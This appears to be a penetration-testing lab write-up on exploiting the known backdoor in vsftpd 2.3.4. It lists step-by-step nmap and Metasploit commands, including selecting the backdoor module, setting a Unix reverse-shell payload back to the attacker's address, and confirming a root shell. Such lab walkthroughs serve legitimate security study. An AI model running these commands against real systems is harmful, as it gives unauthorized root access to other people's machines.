FTP Exploitation

FTP (File Transfer Protocol) is a legacy file transfer service that has largely been replaced by encrypted alternatives like SFTP and FTPS on modern systems. However, unpatched or outdated FTP servers are still occasionally found in the wild and remain a common target in penetration testing labs. In this case, vsftpd 2.3.4 contains a publicly known backdoor that allows unauthenticated command execution — turning a simple version check into full remote access.

Discovery

Command	Description
nmap -A -p- -T5 [target IP]	Scans all ports with service versions and OS detection to identify the target's open services.

Attack

Command	Description
msfconsole	Launches the Metasploit Framework console.
search vsftpd	Searches for modules related to vsftpd.
use exploit/unix/ftp/vsftpd_234_backdoor	Selects the vsftpd 2.3.4 backdoor exploit module.
show targets	Displays the exploit's available target options.
set target 0	Selects the default target (Linux/Unix Command).
show options	Displays the required parameters for the exploit and payload.
set RHOSTS [target IP]	Sets the target's IP address.
set LHOST [my IP]	Sets the attacker's IP address for the reverse connection.
set PAYLOAD cmd/unix/reverse	Sets the payload to a Unix reverse shell.
check	Verifies the target is vulnerable before launching the exploit.
exploit -j -z	Launches the exploit as a background job. May need to be run more than once due to a timing-sensitive backdoor trigger.

Verification

Command	Description
sessions -l	Lists active sessions.
sessions -i [id]	Interacts with a specific session, using the ID shown by sessions -l.
whoami	Confirms the privilege level of the compromised shell (root).
uname -a	Displays the target system's kernel information.
ls	Lists files in the current directory to confirm shell access.

Tool Used

This attack was carried out using Metasploit Framework — see the full command reference here.

View Metasploit Details